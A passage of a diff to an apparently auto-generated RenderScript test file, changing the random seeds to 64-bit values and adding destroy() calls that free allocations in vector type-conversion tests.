+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2cf6eb50b7ac39eal, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Ushort2Int2(inV, out);
             verifyResultsConvertUshort2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Ushort2Int2: " + e.toString());
         }
@@ -8227,9 +8586,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Ushort2Int2(inV, out);
             verifyResultsConvertUshort2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Ushort2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -8283,11 +8644,12 @@
     }
 
     private void checkConvertUshort3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x1544a20l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x2cf6eb9001544a20l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Ushort3Int3(inV, out);
             verifyResultsConvertUshort3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Ushort3Int3: " + e.toString());
         }
@@ -8295,9 +8657,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Ushort3Int3(inV, out);
             verifyResultsConvertUshort3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Ushort3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -8351,11 +8715,12 @@
     }
 
     private void checkConvertUshort4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x4afc5a56l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x2cf6ebcf4afc5a56l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Ushort4Int4(inV, out);
             verifyResultsConvertUshort4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Ushort4Int4: " + e.toString());
         }
@@ -8363,9 +8728,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Ushort4Int4(inV, out);
             verifyResultsConvertUshort4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Ushort4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -8424,11 +8791,12 @@
     }
 
     private void checkConvertInt2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x49a42354l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x501d84049a42354l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Int2Int2(inV, out);
             verifyResultsConvertInt2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Int2Int2: " + e.toString());
         }
@@ -8436,9 +8804,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Int2Int2(inV, out);
             verifyResultsConvertInt2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Int2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -8492,11 +8862,12 @@
     }
 
     private void checkConvertInt3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x934c338al, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x501d87f934c338al, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Int3Int3(inV, out);
             verifyResultsConvertInt3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Int3Int3: " + e.toString());
         }
@@ -8504,9 +8875,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Int3Int3(inV, out);
             verifyResultsConvertInt3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Int3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -8560,11 +8933,12 @@
     }
 
     private void checkConvertInt4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xdcf443c0l, true, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_32, 4, 0x501d8bedcf443c0l, true, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Int4Int4(inV, out);
             verifyResultsConvertInt4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Int4Int4: " + e.toString());
         }
@@ -8572,9 +8946,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Int4Int4(inV, out);
             verifyResultsConvertInt4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Int4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertInt4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -8633,11 +9009,12 @@
     }
 
     private void checkConvertUint2Int2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x3daccaddl, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x70899b043daccaddl, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertInt2Uint2Int2(inV, out);
             verifyResultsConvertUint2Int2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Uint2Int2: " + e.toString());
         }
@@ -8645,9 +9022,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt2Uint2Int2(inV, out);
             verifyResultsConvertUint2Int2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt2Uint2Int2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint2Int2(Allocation inV, Allocation out, boolean relaxed) {
@@ -8701,11 +9080,12 @@
     }
 
     private void checkConvertUint3Int3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x8754db13l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 3, 0x70899b438754db13l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertInt3Uint3Int3(inV, out);
             verifyResultsConvertUint3Int3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Uint3Int3: " + e.toString());
         }
@@ -8713,9 +9093,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt3Uint3Int3(inV, out);
             verifyResultsConvertUint3Int3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt3Uint3Int3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint3Int3(Allocation inV, Allocation out, boolean relaxed) {
@@ -8769,11 +9151,12 @@
     }
 
     private void checkConvertUint4Int4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0xd0fceb49l, false, 31);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_32, 4, 0x70899b82d0fceb49l, false, 31);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertInt4Uint4Int4(inV, out);
             verifyResultsConvertUint4Int4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Uint4Int4: " + e.toString());
         }
@@ -8781,9 +9164,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertInt4Uint4Int4(inV, out);
             verifyResultsConvertUint4Int4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertInt4Uint4Int4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUint4Int4(Allocation inV, Allocation out, boolean relaxed) {
@@ -8842,11 +9227,12 @@
     }
 
     private void checkConvertFloat2Uint2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x424dca22l, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x239cb6cd424dca22l, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Float2Uint2(inV, out);
             verifyResultsConvertFloat2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Float2Uint2: " + e.toString());
         }
@@ -8854,9 +9240,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Float2Uint2(inV, out);
             verifyResultsConvertFloat2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Float2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -8910,11 +9298,12 @@
     }
 
     private void checkConvertFloat3Uint3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xa1558f16l, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x239cc16ea1558f16l, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Float3Uint3(inV, out);
             verifyResultsConvertFloat3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Float3Uint3: " + e.toString());
         }
@@ -8922,9 +9311,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Float3Uint3(inV, out);
             verifyResultsConvertFloat3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Float3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -8978,11 +9369,12 @@
     }
 
     private void checkConvertFloat4Uint4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x5d540al, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x239ccc10005d540al, 0.0000000000000000000e+00, 4.2949670400000000000e+09);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Float4Uint4(inV, out);
             verifyResultsConvertFloat4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Float4Uint4: " + e.toString());
         }
@@ -8990,9 +9382,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Float4Uint4(inV, out);
             verifyResultsConvertFloat4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Float4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertFloat4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -9051,11 +9445,12 @@
     }
 
     private void checkConvertChar2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xeddda162l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 2, 0xd8618beceddda162l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Char2Uint2(inV, out);
             verifyResultsConvertChar2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Char2Uint2: " + e.toString());
         }
@@ -9063,9 +9458,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Char2Uint2(inV, out);
             verifyResultsConvertChar2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Char2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -9119,11 +9516,12 @@
     }
 
     private void checkConvertChar3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x4ce56656l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 3, 0xd861968e4ce56656l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Char3Uint3(inV, out);
             verifyResultsConvertChar3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Char3Uint3: " + e.toString());
         }
@@ -9131,9 +9529,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Char3Uint3(inV, out);
             verifyResultsConvertChar3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Char3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -9187,11 +9587,12 @@
     }
 
     private void checkConvertChar4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xabed2b4al, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xd861a12fabed2b4al, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Char4Uint4(inV, out);
             verifyResultsConvertChar4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Char4Uint4: " + e.toString());
         }
@@ -9199,9 +9600,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Char4Uint4(inV, out);
             verifyResultsConvertChar4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Char4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertChar4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -9260,11 +9663,12 @@
     }
 
     private void checkConvertUchar2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x805fade3l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0x7fef453a805fade3l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Uchar2Uint2(inV, out);
             verifyResultsConvertUchar2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Uchar2Uint2: " + e.toString());
         }
@@ -9272,9 +9676,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Uchar2Uint2(inV, out);
             verifyResultsConvertUchar2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Uchar2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -9328,11 +9734,12 @@
     }
 
     private void checkConvertUchar3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xdf6772d7l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x7fef4fdbdf6772d7l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Uchar3Uint3(inV, out);
             verifyResultsConvertUchar3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Uchar3Uint3: " + e.toString());
         }
@@ -9340,9 +9747,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Uchar3Uint3(inV, out);
             verifyResultsConvertUchar3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Uchar3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -9396,11 +9805,12 @@
     }
 
     private void checkConvertUchar4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x3e6f37cbl, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x7fef5a7d3e6f37cbl, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Uchar4Uint4(inV, out);
             verifyResultsConvertUchar4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Uchar4Uint4: " + e.toString());
         }
@@ -9408,9 +9818,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Uchar4Uint4(inV, out);
             verifyResultsConvertUchar4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Uchar4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUchar4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -9469,11 +9881,12 @@
     }
 
     private void checkConvertShort2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x2e9b3c26l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x68ab69772e9b3c26l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Short2Uint2(inV, out);
             verifyResultsConvertShort2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Short2Uint2: " + e.toString());
         }
@@ -9481,9 +9894,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Short2Uint2(inV, out);
             verifyResultsConvertShort2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Short2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -9537,11 +9952,12 @@
     }
 
     private void checkConvertShort3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x8da3011al, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x68ab74188da3011al, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Short3Uint3(inV, out);
             verifyResultsConvertShort3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Short3Uint3: " + e.toString());
         }
@@ -9549,9 +9965,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Short3Uint3(inV, out);
             verifyResultsConvertShort3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Short3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -9605,11 +10023,12 @@
     }
 
     private void checkConvertShort4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xecaac60el, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_16, 4, 0x68ab7eb9ecaac60el, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Short4Uint4(inV, out);
             verifyResultsConvertShort4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Short4Uint4: " + e.toString());
         }
@@ -9617,9 +10036,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint4Short4Uint4(inV, out);
             verifyResultsConvertShort4Uint4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Short4Uint4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertShort4Uint4(Allocation inV, Allocation out, boolean relaxed) {
@@ -9678,11 +10099,12 @@
     }
 
     private void checkConvertUshort2Uint2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0xca7355d1l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x8d79897eca7355d1l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             script.forEach_testConvertUint2Ushort2Uint2(inV, out);
             verifyResultsConvertUshort2Uint2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Ushort2Uint2: " + e.toString());
         }
@@ -9690,9 +10112,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint2Ushort2Uint2(inV, out);
             verifyResultsConvertUshort2Uint2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint2Ushort2Uint2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort2Uint2(Allocation inV, Allocation out, boolean relaxed) {
@@ -9746,11 +10170,12 @@
     }
 
     private void checkConvertUshort3Uint3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x297b1ac5l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x8d799420297b1ac5l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             script.forEach_testConvertUint3Ushort3Uint3(inV, out);
             verifyResultsConvertUshort3Uint3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Ushort3Uint3: " + e.toString());
         }
@@ -9758,9 +10183,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUint3Ushort3Uint3(inV, out);
             verifyResultsConvertUshort3Uint3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint3Ushort3Uint3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUshort3Uint3(Allocation inV, Allocation out, boolean relaxed) {
@@ -9814,11 +10241,12 @@
     }
 
     private void checkConvertUshort4Uint4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x8882dfb9l, false, 16);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x8d799ec18882dfb9l, false, 16);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
             script.forEach_testConvertUint4Ushort4Uint4(inV, out);
             verifyResultsConvertUshort4Uint4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUint4Ushort4Uint4: " + e.toString());
         }
@@ -9826,9 +10254,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 4), INPUTSIZE);
